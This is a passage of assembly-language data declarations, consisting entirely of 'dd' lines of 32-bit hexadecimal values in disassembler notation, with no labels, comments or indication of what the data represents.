dd 0AC26EB88h, 0BFA9C70h, 0AE5A02A9h, 59DCE227h, 105DA4C6h
dd 35D54EEEh, 0B0E500AEh, 573A5A29h, 30C5E919h, 0CD79C6D3h
dd 4C6592Fh, 54828EBCh, 0D4D5C9E9h, 0ED574D62h, 0C9D32BF8h
dd 0EB439025h, 562D023Ch, 8928C842h, 38B5967Fh, 0AD34E952h
dd 0FA2D4Eh, 9B0D298Ah, 51016A3Bh, 5808039Eh, 78CD0E06h
dd 52944DA2h, 0E607CA10h, 6F2FF15Fh, 1D323F81h, 1E6E7852h
dd 0F38BC689h, 80CA1ABBh, 0B36B46C5h, 2D8FB72Eh, 4EA63601h
dd 6A103138h, 4F7804A3h, 801CC02Ah, 0F607CAC9h, 3E1C0D1h
dd 6E07CF3Fh, 0A1523DF1h, 7C09CBF0h, 2CB4FFEh, 7B045B8Bh
dd 89CC8E57h, 5DD3B85Ah, 7D8291h, 5B71EB2Dh, 5A8F7D6Ah
dd 0F09E1312h, 0F2F25395h, 4368E9A8h, 0A56F469Eh, 0EED37B2Bh
dd 87A194ADh, 7A382FC5h
dd 0CBBE4B9Fh, 0B3A5CC09h, 0A66AC202h, 8707C470h, 0D0F797FEh
dd 7CF50C3Dh, 4B681034h, 5FDAF39Ah, 4E4864E7h, 0F3E0A320h
dd 9FEB8012h, 972B93B0h, 0B966F704h, 6FB910F8h, 0B7945B2Fh
dd 738939B5h, 8B4B1838h, 0D7C342Ah, 10BAD7C0h, 0BD80BF97h
dd 7DD5606Ah, 25B858B5h, 0B503F7E9h, 84934B04h, 0D32CC881h
dd 91458997h, 0E98CB202h, 0C17348C3h, 0AD0851EDh, 0C505DD22h
dd 0AFBD3441h, 18123900h, 2431D0B9h, 0A68A5BDDh, 0A8DC1275h
dd 6302CD4Ch, 0D55D8E8Ah, 4FBE0125h, 0DA015663h, 80C3D42h
dd 2B5C5528h, 2C0282AFh, 0B653E16Fh, 0A7357A06h, 0E7022E5Dh
dd 75A8177Eh, 46276A83h, 43144F1h, 1B5287EBh, 0E7A80D96h
dd 0E9C9E084h, 246D63E2h, 0B0060Ah, 25027C4Ah, 5A67D509h
dd 66736768h, 8128242Bh, 0C780981h, 0BEE28080h, 13136963h
dd 0CEE01AE9h, 69EF77D1h, 90DFF1A8h, 83331D34h, 4CF8B84Eh
dd 899A051Fh, 3C701E9Bh, 685A0780h, 0D9028C25h, 132980D0h
dd 0E94F42A3h, 85AA49h, 0A76C5DB9h, 9814143h, 0B44875C9h
dd 86025A7Ch, 5FB8AFA9h, 0F821AF82h, 0C1400351h, 5F3108E8h
dd 929F0DC8h, 0AE64401Bh, 27BE3C0h, 9D0B364Bh, 521D5E58h
dd 0E9C04784h, 86097F96h, 57316C2Eh, 632F14A0h, 3EF3CF7Ch
dd 10E42621h, 4028E66Eh, 281340ECh, 0F6B93256h, 9800475Ch
dd 8178BF01h, 11043CE6h, 64E97CC3h, 89BB0ED4h, 7D3F4152h
dd 398205AFh, 9D1A5085h, 11FCA9BEh, 0DDD2E91Ah, 0ECB576E3h
dd 3509BE0Eh, 807F481Ah, 627DE751h, 0BB0CD374h, 69E9B943h
dd 0C35B3B07h, 0AD768E97h, 3AC50B54h, 9C26820Ah, 0D82102B8h
dd 80B50761h, 0B0ACF1A3h, 7D31CAAFh, 40945FCFh, 3786C3EDh
dd 0CBB71CFAh, 0E3DBC87Eh, 0F0FE5E03h, 17B555ABh, 0A4E9098Fh
dd 0CC970C78h, 434F02C0h, 555372C7h, 1A02FF76h, 80BD57E5h
dd 0E90B96C1h, 968248CDh, 9984088Bh, 6E87BF20h, 40FACAE4h
dd 0FE77E33Ah, 0F6EAD0C3h, 0F386D31Eh, 0FF08C61Bh, 0DA30AA60h
dd 0D47B26E9h, 285B8AD6h, 0CD570885h, 16E4892Fh, 0C368124Dh
dd 0FF374A73h, 1210A6D5h, 5E1EFD6Dh, 569A71F2h, 68DC406Ah
dd 0F1A5F3C3h, 52267h, 2701C295h, 79F863C0h, 0DF9D6AEDh
dd 13EEE200h, 0C0165E73h, 150DE9A9h, 0F4CD4CB7h, 0F3E65E4Dh
dd 1A290583h, 91AE0102h, 7E804CC2h, 22F69B91h, 1E7DB7C4h
dd 7907EEC1h, 17862FFBh, 2C51BDABh, 8BE976B0h, 4947BE91h
dd 0C5B085h, 79C4EA28h, 86F81D77h, 17936C59h, 66E95604h
dd 4274184h, 99FEE588h, 0BDBF603Ch, 5E80EE95h, 0FBDA3368h
dd 0F74E5BF6h, 97047CE4h, 0E9131596h, 9CBC766Ah, 53972296h
dd 0FB27B1FEh, 4936AF49h, 0A17AF195h, 171426B7h, 0E2F9C5F3h
dd 0D238485h, 0FEF731A8h, 14C1399Ah, 5506BDCDh, 2DFC3806h
dd 30D0C1ADh, 41F25020h, 99616EB3h, 718D4874h, 3E53AD50h
dd 98A76E44h, 0A5AF5A0Ah, 6CAF7AD4h, 3FAF979Bh, 5F40857Dh
dd 0C7A600B7h, 5434123Fh, 5B0AA998h, 0EC79C968h, 0D83B2118h
dd 14B76453h, 547EB463h, 4E8C455Fh, 1A5C1F5Eh, 4F124B6Ah
dd 0F512432h, 0A53C3624h, 523B2022h, 0B5D5CB59h, 13D5A0E2h
dd 0B6D40232h, 85EE80ECh, 0DE0E6DF4h, 530EF028h, 0FD40F788h
dd 6B045A5Bh, 2C74E8FAh, 0C921E926h, 281C65A5h, 5CCE4060h
dd 0DA2EA7EDh, 6A36CB2h, 5974CA28h, 0D028E001h, 0D4C5E951h
dd 0B3845122h, 7B3EC220h, 421FBAE3h, 76C284EBh, 0F129B6E9h
dd 0EDBF6FDBh, 0F2011C72h, 62D82F29h, 47F4D131h, 7F1A95CEh
dd 0B472EC85h, 253CC2A6h, 37BDCEC5h, 0F53CC90Eh, 32F529C9h
dd 0E90C0728h, 29C928D4h, 772EC4h, 58E38118h, 0E9348851h
dd 73B5D472h, 0AC54127Ah, 0BD55C0B9h, 48F43DB9h, 165E552Fh
dd 0A6731C7Ah, 0C26B08A8h, 4BD16804h, 0D94730ABh, 0D9983857h
dd 5D4ECB04h, 0B4A033F4h, 0A02502F3h, 0DA29C403h, 0D75DE2D7h
dd 1B732C6Ch, 39459D2Ch, 62AD2500h, 0BAD6E9BAh, 56ABCB6Ah
dd 652D54FEh, 10D92CA7h, 3E593BD9h, 0CE354BC9h, 4B5E0488h
dd 122D8F12h, 0BFE7BC27h, 0BC2C0250h, 0BD4FA8D7h, 419D1C28h
dd 34E58FE9h, 5E4BF23Ch, 95EA63B0h, 48BD774Eh, 2D58BBAFh
dd 0F101DF5Ch, 6020A3ACh, 154FF62Eh, 79587032h, 69D6086Eh
dd 81C5310Bh, 2D0689Bh, 14A3B33Ah, 0D3C45250h, 5B251DA6h
dd 69FA18D6h, 0F042F7DBh, 0BFB1571Ch, 7A72B55Dh, 22DD682h
dd 0C377F529h, 29AEFC39h, 0CFC86A29h, 7A639F5Bh, 0F105E399h
dd 8122E60h, 7D8BDE8h, 1804E8C1h, 5452C831h, 40B26AC8h
dd 3AB556C6h, 55D0BE7h, 828DDB32h, 0B72B6E46h, 630B8F70h
dd 2F74F1Ch, 46EE067h, 0ADB0C257h, 336DB800h, 645D60A8h
dd 47550417h, 2051F097h, 0B9040FEFh, 3A2436E6h, 1CF2DCC6h
dd 405942F1h, 79922D78h, 1264F22h, 88EFB6C8h, 0EA6804A1h
dd 9C31BF1Ah, 1925E1FBh, 0A80E576Ah, 0DFBD9243h, 7E1031D4h
dd 0C12E7DD1h, 0F501CAEDh, 62A1D13h, 2EFAB16Eh, 0CB3B28B5h
dd 0B9510FB0h, 3EFC969h, 4F65E9AEh, 5A82A60Dh, 0E24A76CAh
dd 96E909E3h, 0E4D4DAE0h, 90C3E8D8h, 9006FD5Ah, 0D697F0Ch
dd 120A0C2Eh, 0BC373A7Bh, 0CED0028h, 0E984529Ah, 8517542Bh
dd 5F00B8F8h, 0BE9034DBh, 0A4F4BE4Bh, 23BB8828h, 835E9BC1h
dd 790FCDC0h, 78294149h, 0B8EB400Ah, 0C958C140h, 3D512544h
dd 0F606E08Bh, 3A74C23Fh, 60D848DCh, 0AE1EBD68h, 1820F58Eh
dd 0AD5A5EE7h, 0AFCA026Ah, 400B586Ah, 0F8DF75BBh, 0D789275Dh
dd 4724AF14h, 0B01F3F4Fh, 0CE723B4Fh, 0FA7942E6h, 3C75FE69h
dd 4954C682h, 69E22CB0h, 0D6016E48h, 245BD1EEh, 188679F2h
dd 0B9022470h, 6BB01257h, 3F46D449h, 9304CF0Bh, 72CBBA07h
dd 0E4749769h, 0C9DC4971h, 9D0616CDh, 88A5012Bh, 3038F659h
dd 0DE160763h, 1CFAAB0Bh, 27E8D068h, 82B6B358h, 217C09CFh
dd 893AF16Bh, 0E4765F68h, 5AAFE963h, 0CEBA81BBh, 0B02D0178h
dd 0BD3A8DF0h, 0B316B28h, 0E3656C55h, 39171411h, 843CA867h
dd 5331BF57h, 94287B09h, 6DC3B5CDh, 50E590CDh, 8012C7B4h
dd 601112F4h, 2E3B5897h, 2C1D8C88h, 849D2F3Eh, 97FA6693h
dd 0D9115BF5h, 0E7BA60D2h, 0F35C240h, 151043EEh, 2B50A84Bh
dd 2248912Dh, 0A6187Ch, 7CF78147h, 53C44417h, 5486CC01h
dd 0C8702FAh, 3B94C319h, 7F07504h, 0D616F787h, 68500B08h
dd 0C29A5F76h, 0F3823144h, 0EA71F95Eh, 5E57490Ah, 0A25F12DBh
dd 0BBF5D358h, 24AF3321h, 0E9179D9Ch, 0D1BCF984h, 0E3445ACFh
dd 0D343E47Ch, 6FC7431Eh, 0E5E43BDFh, 2A95C2h, 0F705E5C1h
dd 54B4D54Bh, 0B7E302A2h, 0AEDEE97Ch, 0DC026802h, 0FB6DCF7Ah
dd 0F8E6041Ah, 0D95D2DB9h, 0D2245B41h, 546B556Bh, 0BBC6C4B5h
dd 9056EB32h, 17ACBD07h, 0AD0BDA20h, 4B0CD0F4h, 0D75EE2F8h
dd 0FCBAB41Bh, 80EFF103h, 0BDEE1D92h, 565A25B7h, 54567A11h
dd 0D955A65h, 5C5BDE01h, 0B441136Dh, 3B6119F6h, 90BCD960h
dd 0E946161Bh, 50E9E39Ah, 11306B9Ch, 3BCFB893h, 243CE452h
dd 8148EFC1h, 0B8578EAh, 0DA0E844Fh, 988184BBh, 0B196FD08h
dd 9856FFEAh, 980428AFh, 842053B6h, 899C51EEh, 89B6ADBEh
dd 0CA84FEB3h, 41F3A0B1h, 15F22BCBh, 3FED697Ah, 0A0BB9C83h
dd 760D7F7Bh, 0DC227849h, 3A58CD78h, 77050307h, 834A637Fh
dd 323501C0h, 56CA071Dh, 0E5DF7E4Eh, 7FC78942h, 2941237Bh
dd 0B864B9C2h, 0C88FD83Bh
dd 3264615Ah, 0E93828EAh, 0F700074Ah, 40A73DB8h, 0FFD0F4B7h
dd 0C84ECC7Eh, 0D4BEC39Dh, 9040991h, 58C3FB89h, 21C2BF7Eh
dd 0DD96D7C1h, 906CACF7h, 0B05FA210h, 0D1952624h, 0B753C026h
dd 0F75886A7h, 9E8F2410h, 0D125389Bh, 8F7BB1DDh, 0D96E26E0h
dd 3250E4A5h, 8D1F767h, 792521E4h, 18C3C46Bh, 411CA468h
dd 0D9B76A2Bh, 60B5C2C9h, 7D7CE2DDh, 3EDB483h, 80050607h
dd 0C33331F5h, 0C7EB83F4h, 3E72B62Eh, 955F70FAh, 7F4B41D1h
dd 0E97859B4h, 29BED953h, 0A4427958h, 5D12A19Dh, 0E66A1468h
dd 9668C36Eh, 0C43D1040h, 6F2914DDh, 9897108Ch, 63277F48h
dd 0CC9712E6h, 0B9EF5E08h, 257A4C20h, 6B187C19h, 0CBF08255h
dd 0E3FDA907h, 1308C0DCh, 12396629h, 95175003h, 0BE058818h
dd 66A27D4Bh, 10EF8B4Fh, 3013B755h, 0B1F1E8F8h, 312FAC7Bh
dd 46CD8ACh, 67219813h, 0AF04ADFDh, 0FC5DDD9Ch, 6349205h
dd 3B3D27BFh, 0DD078064h, 0E99BC4C2h, 0B9F32265h, 5E892127h
dd 79D07376h, 0B037AE95h, 90F397BDh, 24093A88h, 6A46032Ch
dd 0D7DA2F40h, 7468E4E8h, 0D1E72B62h, 0B36607CAh, 6A51145h
dd 0F1821848h, 9FF8CD4Dh, 7EB05849h, 0E5B67095h, 0A0E6801Ch
dd 0FE6FCEC7h, 0F6F1103Ch, 2082B0F6h, 0EC9DE2A1h, 7BAE200Eh
dd 4113BA75h, 0C0E04C4Fh, 0CB472D4Bh, 8938C1FCh, 8F2AC801h
dd 53A6C0B6h, 4BD709B9h, 27F6EC5Ah, 9FBF957h, 0C822DAE9h
dd 48F7C331h, 9562A283h, 0C688D810h, 3A50583Eh, 77A7CAE4h
dd 80F7EE40h, 79B75854h, 0EEE9C121h, 169337FEh, 0ADFD2BB9h
dd 0F0C5E9A0h, 4F6194B7h, 8BC40FCBh, 0F91D9953h, 0E7497E23h
dd 3ED572EAh, 1EB3DA01h, 2B3C04Dh, 8006060Bh, 0CB4D86C1h
dd 40CDB093h, 0F85829F6h, 0B2E0111Bh, 0F9EBB57Eh, 0E4DF45DAh
dd 3CB780EDh, 471B3E05h, 31C95498h, 807809F1h, 0E554417Bh
dd 6C4F29D9h, 0B9D217E8h, 7BF84C1Bh, 0A59AC597h, 546A7059h
dd 0B8058E38h, 750C962h, 79FC3D15h, 6EE23BF7h, 0E93C3A34h
dd 22E90CD1h, 0EF5822EDh, 19408321h, 0E7116D2Ah, 0BFC1E8A4h
dd 0FE3C196h, 0D03216h, 0F1176FBBh, 0DD2138h, 0AC68575Bh
dd 5F345E3Dh, 0A2394698h, 0D8362D3Fh, 28AD02C8h, 0FD2977FAh
dd 780201F4h, 0F6750511h, 0C05312A8h, 5BDA21C6h, 0E44FB298h
dd 0B5C32A88h, 5F481D7Ah, 18F41237h, 0FC1069CAh, 0EB052FB7h
dd 0E35FD195h, 0E8D2B43Ch, 2121A408h, 206E6133h, 6A685BEDh
dd 52CC5C5Ah, 4A3675ADh, 7972EC1Ah, 9687440h, 1EF73FCAh
dd 0B9025B82h, 36C25F05h, 250A0A0Bh, 0DC17E5C4h, 2604293Fh
dd 8AAF5AD3h, 0BEA426Bh, 0B859B368h, 56DFE919h, 6F4C5E22h
dd 0D82F7238h, 0D5683D99h, 0C55A7C7Fh, 9F986EBDh, 0B4E913FCh
dd 127C9810h, 0E0134355h, 91A8505Ch, 0BDBA1663h, 80D6B707h
dd 33BC8EFh, 2CD7F60Ah, 201FDB0Ah, 0B50B20E2h, 517100A0h
dd 97463A26h, 0E04F8510h, 0A77741B6h, 0E62C7EF1h, 0D5E91658h
dd 0E9D994F0h, 0A7B15A34h, 3E72D32Bh, 0B2C50B00h, 0FE59EC28h
dd 145348C4h, 35931C13h, 7345AF61h, 0EA346F6Ch, 52CB1EA9h
dd 18594474h, 0A02F40F1h, 4A007765h, 0B8506094h, 17AC079Fh
dd 0A148E9C4h, 0E5ED7521h, 0CA3C26h, 0D275C8BAh, 0E4FA3122h
dd 4608D2D7h, 0D76E0CB2h, 53873400h, 0EF64ACBBh, 843FE331h
dd 0D6A51FA4h, 1AD8D010h, 27138A54h, 1BFDBF7h, 9562D00h
dd 1EF3D868h, 0E0F4503Bh, 0D566F518h, 94E9132Eh, 0F7C4B580h
dd 4FD6BD94h, 0B07248ECh, 6D5095F4h, 0CE958F9Ah, 654FFA76h
dd 0C79DA760h, 0DB494FAAh, 83419341h, 0EA68BE46h, 6CE354h
dd 1707B837h, 5D057B63h, 0E3D92600h, 8AE9C389h, 84A0958Eh
dd 4F521115h, 5A0EC097h, 537B1D19h, 6D458568h, 283B83Eh
dd 31B85802h, 13B7D401h, 3A2201C6h, 28292D7Dh, 0C9810365h
dd 8F3B1815h, 0C2DB406Fh, 4E29D459h, 28698BCEh, 4CC138C6h
dd 1C5D150Dh, 18B3EA30h, 464BCD16h, 693D7089h, 0E3279821h
dd 1EC0EAB7h, 0C923FE11h, 0CD46C489h, 5B20BE45h, 3F141FA0h
dd 0C6BA605h, 0F218EA83h, 0E42A2C07h, 0F7C38706h, 560860D3h
dd 0A6F0B059h, 7FB8017Ah, 0B63DB441h, 0D234523Dh, 0B5D0B215h
dd 6C52F5h, 0C46BC12Dh, 0BF5BD4E4h, 0B210DACBh, 4C582D5Eh
dd 8E70975Ah, 0ECF08F20h, 6DBA0468h, 0FF5D746Fh, 0BFE9E230h
dd 6B6CB721h, 0D2850440h, 609CBC5Bh, 0E561BAAEh, 1525EDEh
dd 8B101B9Ch, 406F6C33h, 214B5A07h, 0F68DE42h, 0FA60F643h
dd 42AC54D1h, 4279681Ah, 97CB00B6h, 9D032269h, 0F8A5A4FBh
dd 520694C2h, 1BC8E6D4h, 40E4F4C5h, 227E1E27h, 4739D31Ch
dd 73DC886Bh, 8313F190h, 7EF15BDFh, 0DF5AE26Ah, 93F8C656h
dd 7709E9CFh, 5EC92A56h, 6C662DCBh, 0BA1BE919h, 0D82FFE61h
dd 0BF490DE7h, 1AE0274Eh, 6D498190h, 102F7390h, 5A0607F1h
dd 0DD78D368h, 48FDF920h, 0E4069050h, 48408776h, 7804680Ah
dd 2C07E331h, 0FBAE4BDDh, 2EE1C89Ah, 9A00B35h, 23F97FE9h
dd 5C50B849h, 6746B53Eh, 12B05D57h, 949D7F06h, 0F97C91EDh
dd 0B11FFC4Fh, 3A59FC99h, 56EACF04h, 0B500FE88h, 29503307h
dd 820990F3h, 93C4DD08h, 463D3B6Bh, 4EDE7C4Bh, 5A26C2A2h
dd 86CD41F5h, 0FA883D60h, 17979692h, 42F9045Eh, 0A8680785h
dd 27C4E68Bh, 8CD96EB1h, 0F9A50285h, 0ABE98AC1h, 0D95D177Fh
dd 895A2D5Ch, 91B415Bh, 0C300AE7Ch, 3312FADFh, 0D9047268h
dd 0A4E9F8BCh, 3CC051A0h, 232702E7h, 9700C109h, 35073C01h
dd 2E691109h, 2714564Dh, 2377659Ah, 0CB902Ch, 8158C66Dh
dd 0AA733FCEh, 1CD72E4Ch, 0C7D207FBh, 0A16A0EF1h, 780F409Dh
dd 6B48EA7Eh, 749502CDh, 0E94A3839h, 0F3EF427Fh, 5B61C1C6h
dd 16B90C86h, 0D05A961Dh, 0F02F0A89h, 6E996983h, 9554F501h
dd 847B3F36h, 0D205BF10h, 982DC2CFh, 11173A89h, 4BED947Fh
dd 0BEAC7B3h, 0E72CF080h, 474D828h, 54FC5FCh, 0E12A5BC9h
dd 0DF23A19h, 0A1F05CC9h, 0A8AC9195h, 0ED4C133Fh, 0AE0C9FDCh
dd 0FBE6E8Ah, 0F7E3236h, 0CCF04649h, 0DDC48004h, 0BAC2E328h
dd 1E67F09h, 4CB32C4Dh, 0E6462F82h, 0DB10138h, 9FE9D1F6h
dd 53249DDEh, 6B0198Ah, 0AB1E360Bh, 0FA38FC9Eh, 7B9FD044h
dd 5BB208CAh, 4C01742Ch, 47075E11h, 72520E85h, 73BB0C51h
dd 0DD00B853h, 5193779h, 5A7E776Eh, 1EB85Ch, 73395F2Bh
dd 4AC9E957h, 8270EC0Eh, 57455968h, 2C983D4Ch, 46E7B84Eh
dd 70FBD4Fh, 1E147DECh, 0B11F660h, 0E95F12ADh, 0AD145D30h
dd 244761Ah, 51B3B42Fh, 0E19996E1h, 55BA60A4h, 6783BD1Ch
dd 28F45853h, 0E29858C9h, 0A4AEB7C7h, 0C7E19533h, 0B8BB94F5h
dd 0EB68C288h, 8992510Ch, 4B7473CEh, 5805DC7Ah, 73BD75E7h
dd 0D468412Bh, 4E284E45h, 12DFDED1h, 0C8AA743Bh, 4EBE0B8h
dd 57340CFEh, 6D139143h, 0D50A765Ch, 0E03207EAh, 906406A3h
dd 34291990h, 5E1280AFh, 0C8A47FA8h, 3FA45B41h, 0AF279B7h
dd 4F705A8Dh, 0E6B22024h, 53E737F5h, 2FCB38E6h, 0E768EAD1h
dd 7525CF8Bh, 0FC8DC5Ah, 0D412E4E9h, 0A0D6FF28h, 0ACF99F0Ch
dd 5303733Eh, 0E9FD70E5h, 52310F0Fh, 5932CB6h, 0EB15AAB1h
dd 6E745B74h, 6809B8B7h, 60714B64h, 2FB41F88h, 5004078Fh
dd 864AF2C1h, 0B7F3B572h, 28CAD6E3h, 6C5D1B4Ah, 0E0C016F3h
dd 80D3B802h, 66AC6856h, 0D3105C2Bh, 111B2DB0h, 81687E3Ah
dd 25D62919h, 0BE31F001h
dd 5AD00810h, 2D15A305h, 56965EEDh, 0E0D1F15Eh, 874B5BD9h
dd 0C49950h, 0BB51B852h, 0AE47AD40h, 8109559Ch, 342C57E9h
dd 7D3BD00Ch, 41B5CA32h, 9FDC0806h, 0C1B4C905h, 295D108Ah
dd 0FE20393h, 0B84B5C72h, 2D70F1E3h, 0BE687755h, 0A17EA6D3h
dd 0E90D349Eh, 38573BECh, 0CE493CF4h, 6FBC45F0h, 0A0C58160h
dd 1D64054Ch, 0D7D8E945h, 593E530Eh, 0D8F70A25h, 1FBD02CCh
dd 0C5091651h, 0D0205844h, 165E64D3h, 6027A858h, 5BEA5A54h
dd 0B9C4BFD9h, 0C089E93Bh, 410F9050h, 20B088F4h, 2FA22C8Bh
dd 298FB474h, 0B94A4C8h, 2F7995A3h, 0CA49D62Bh, 0A552391Fh
dd 1594B1F3h, 0B039FD5Ah, 2722F2EBh, 1545139h, 30E9114Ch
dd 5E7BD4E3h, 0E4C1C19h, 0F02EB3h, 0FE4B86AEh, 0B2A0CA90h
dd 61F971AEh, 4FB9528Ch, 0A76BE102h, 907A600Bh, 0C10AEF6Bh
dd 5C252996h, 8060918h, 0C214821Ch, 0FCE24A7Ch, 169CE8E9h
dd 9F75653h, 5F54E80Ch, 0D818BA63h, 58296C66h, 0F885D9D0h
dd 750067Fh, 2A256039h, 698659BDh, 93CFC25Eh, 0BEA8D08h
dd 0BD7F652h, 586BDC30h, 0A34A74E9h, 0BBCA57E8h, 726E428Bh
dd 623AE901h, 0A66A896Eh, 2D62EFBBh, 0DB0B5DEDh, 44DCA600h
dd 295B5C2Bh, 816C0C4h, 75D9DE19h, 0BD4ECF68h, 7E0B9F5Dh
dd 0FC062BA8h, 1DEA2795h, 7AADFF5Eh, 0A1DB27A3h, 0BB532F10h
dd 645C2709h, 0B0CD0133h, 4C39722h, 8B730E0Ch, 0F9DA9055h
dd 6D505163h, 9C020BDFh, 76E992AEh, 5127A462h, 0AF9E74EFh
dd 0B21222Ch, 577BE9C1h, 39CB1975h, 6252AF52h, 0D3F2D824h
dd 0F5CEB8E5h, 262A0FE8h, 0FC9CFA88h, 264498ABh, 6920A5CCh
dd 0D0202C4Ch, 2740769Eh, 6688BA3h, 8080CD7Ah, 62B61C7h
dd 0F7FA8830h, 0FC65A6FAh, 0FC3DF6A4h, 8942CFBEh, 974EDFEBh
dd 12464500h, 57DD0160h, 2908A1BFh, 40A15F60h, 2D0F0593h
dd 4D68D66Fh, 8660A1B6h, 0E60912B9h, 2D01BF06h, 1C08348h
dd 0E02B602Eh, 2217F453h, 715751E9h, 0FA187A9h, 11DE62A3h
dd 5A0B56AFh, 0EEE5D920h, 9AE98007h, 0C19AF40Bh, 6C087D68h
dd 2820CC30h, 2E649FD3h, 0B7606120h, 65FF9CE2h, 37E90C60h
dd 0F0582C45h, 0E0B500DBh, 0EF3032B7h, 1D07359h, 6676F780h
dd 0D2194C68h, 9B54F623h, 0FE5BE001h, 6FD4A1C7h, 0A95251FCh
dd 0D99D72D7h, 4B2E9255h, 0A472B9BCh, 8F2A85BDh, 2BF1E11Fh
dd 42BCDE2Ch, 660495F5h, 582CB5Ah, 9236859h, 8854DCBBh
dd 14BDF7B2h, 0C26812DFh, 907FF64Ch, 0DF169306h, 83E95B42h
dd 4A85F4E2h, 6E950223h, 61573940h, 856E21EDh, 208BAFACh
dd 48F2DF4Eh, 0BD5A8454h, 0CF650B13h, 0EAC16B21h, 76616906h
dd 0A12950Ch, 12574E6Fh, 0C16D55D9h, 5148EE1h, 2F77F801h
dd 4D7029CAh, 90061869h, 0D6F63E79h, 894FC527h, 0E607291Ah
dd 0B252175Ah, 1D23BE3Ch, 0C28C2C51h, 0C2F6AEABh, 8902B1CCh
dd 3203DDCEh, 2C931B80h, 0FB5D85F5h, 8F1273DDh, 0B7C4525Fh
dd 52AC9220h, 0B3285350h, 0D84BB488h, 0CC973FB2h, 7141E043h
dd 0C03BC47Ah, 496FAB56h, 3EB91B4Eh, 0C50B0841h, 5A351E60h
dd 3AD77EF5h, 13E92B91h, 0FFDC122Bh, 666E3E41h, 7CB7904Eh
dd 297291B8h, 0EC1831DAh, 587ED408h, 3EBDCF05h, 42FB5A56h
dd 5169B405h, 34EF1CC0h, 9601276h, 8B2BED18h, 4A6A982Dh
dd 1822A3A3h, 0CBF354B5h, 50371D06h, 7AF38072h, 554A3C7Ch
dd 4F01BD77h, 0EB311A16h, 0ADADC1E9h, 0C087CB69h, 11FA2870h
dd 0EA4DEB60h, 5E945705h, 83E5062h, 68E6582Dh, 6D9EE924h
dd 0BFD214AFh, 65F93D2h, 4883A120h, 96476007h, 179107Eh
dd 32DA58BFh, 0EE7D56F7h, 5C036A77h, 0DAC895FDh, 5351AC00h
dd 0B339B652h, 0C060427Dh, 21B7BB6Dh, 0BD4E02CCh, 3B791F33h
dd 0B92827FCh, 0B650448h, 82B64A16h, 2EE52890h, 0EB60FBC5h
dd 57E2A131h, 0A8EF8901h, 0B75D8ED5h, 29511301h, 0ECE66CAFh
dd 4B01A140h, 0AE1535DEh, 0BAD4C898h, 1CB832D0h, 64572DC1h
dd 12844ACEh, 788CAE30h, 0C4989864h, 1353BCA2h, 4511DAECh
dd 0C4342730h, 7E5E4C07h, 12B9BD10h, 9BB9535Dh, 0A23681B5h
dd 0B100340Ah, 0E1809B0Fh, 76E65BCh, 52588CFBh, 82EF683Ah
dd 0E95A0B67h, 31EB5022h, 9110F330h, 0FFBE02DBh, 6B1F2661h
dd 887BADA1h, 0F7A2E9A6h, 584BEFF2h, 406408F0h, 0B903B809h
dd 2D4C0C5Ah, 0DD08953h, 1D1DFFC4h, 0C040369Fh, 41BA7323h
dd 8C79DC05h, 72B2804Fh, 0C420004Ch, 40F1292Fh, 2D196C7Ch
dd 749046DFh, 502E6EB2h, 80B1162h, 85465D6h, 451C6888h
dd 1717EE7Ah, 923D7783h, 0A5DC62BEh, 0A480478h, 17DC2C8Bh
dd 4D4A8BA0h, 7830D73Eh, 0B77E3A68h, 0A5B27E14h, 862E679Dh
dd 0F1FE27E9h, 0DD24D777h, 7787547Ah, 57FE5F64h, 8650B5A2h
dd 28034CE7h, 4E98283Fh, 64570C16h, 3A32B626h, 0C7B4D805h
dd 67FE3982h, 23EE0080h, 0E96C374Bh, 275F55Dh, 0F6381BBAh
dd 550D606Dh, 0C662403h, 4A590636h, 0EB040C30h, 3B8C182Eh
dd 14016101h, 5989316Fh, 33873E93h, 1688CFB4h, 0AC7C5ABFh
dd 6650DF6Eh, 9613533Fh, 0D69BA8F0h, 0B42127AAh, 0AB4390C7h
dd 4B48F213h, 182F0B05h, 89C882B0h, 0CFDC09D7h, 2A7CA310h
dd 31AB455Fh, 1915FD6Fh, 78657A4Dh, 1570BAAh, 0D199F683h
dd 1A8D8F4Fh, 4B6E9C97h, 1AD75F21h, 82398295h, 0E0FE80Fh
dd 382EA40Ah, 7F8104CBh, 60FEE781h, 56B88193h, 3C1F0768h
dd 0CE58C0D6h, 0F44A0515h, 0B192E914h, 5EA773A4h, 15944321h
dd 5A90CC7Ah, 0CDFC034Fh, 725E86A2h, 577D9627h, 0A64FFF59h
dd 9102273Dh, 5203CC98h, 67508CB3h, 3E718B2Dh, 2747513Eh
dd 0C113C9B3h, 52EBC5FBh, 0E04ABACCh, 0AE925D51h, 461A595Fh
dd 5FC74218h, 7D09B002h, 0E9AFD20Bh, 844237Ch, 7E533E68h
dd 6088921h, 2D0C100Fh, 0FC64095Dh, 40525A53h, 0D8C33D29h
dd 0B987343Ch, 0DB045EA8h, 0C1203061h, 0C5143A25h, 5D0BB33h
dd 1EC82FCh, 380168C5h, 68AF502Eh, 0ECC1C53Ah, 61884CDDh
dd 0D06DE9ECh, 0C204287Eh, 26CE63F9h, 9A1DB850h, 0D04F2949h
dd 0E0D909A8h, 3AC8F46Dh, 40829458h, 0A975D1E2h, 316BE397h
dd 21FB0189h, 28CB8B9Eh, 5D8484C1h, 32280012h, 551582Bh
dd 400386FFh, 97173035h, 7E956BD8h, 777EEBC1h, 0E979C8E9h
dd 0DD9C6039h, 674268C2h, 72BD6A7Ch, 0B48D25D5h, 80C05779h
dd 4A3094EFh, 433798F8h, 188C514Fh, 576940BEh, 0C0B7DFF2h
dd 0E8015BF4h, 7649250h, 46B925DAh, 292ABF8Fh, 55753008h
dd 916067E9h, 5777F7A5h, 0AE3A4AF8h, 0CE50B01Eh, 5D77893Fh
dd 0BC4A8B4Ch, 0EE29500Ch, 205C717Ch, 93EF8159h, 32AD76A7h
dd 0BE947678h, 0ABB015Ah, 7B3CF668h, 3FCC5977h, 10CAE94Ah
dd 0FF48DECDh, 92B5B34Bh, 6F943DAEh, 0DCABBCC4h, 4F44A749h
dd 0C796A1F8h, 582B7104h, 45C46A5Fh, 0AFD617BAh, 367D0A3Dh
dd 5DBD0C98h, 4C173405h, 91FB48E9h, 882FCC49h, 87A59CE3h
dd 0E2D6F7F0h, 0C9D90930h, 0FA241E2Bh, 71669742h, 0EC9542CEh
dd 564507F6h, 0CC0E61AFh, 9A12413h, 378A6E00h, 71613558h
dd 404C176Ah, 0CB200525h, 0E59B0378h, 55B0C015h, 2D0E0BBDh
dd 0EDE905DDh, 5BE0639Eh, 0FBF50581h, 0F7911h, 0EF4BF882h
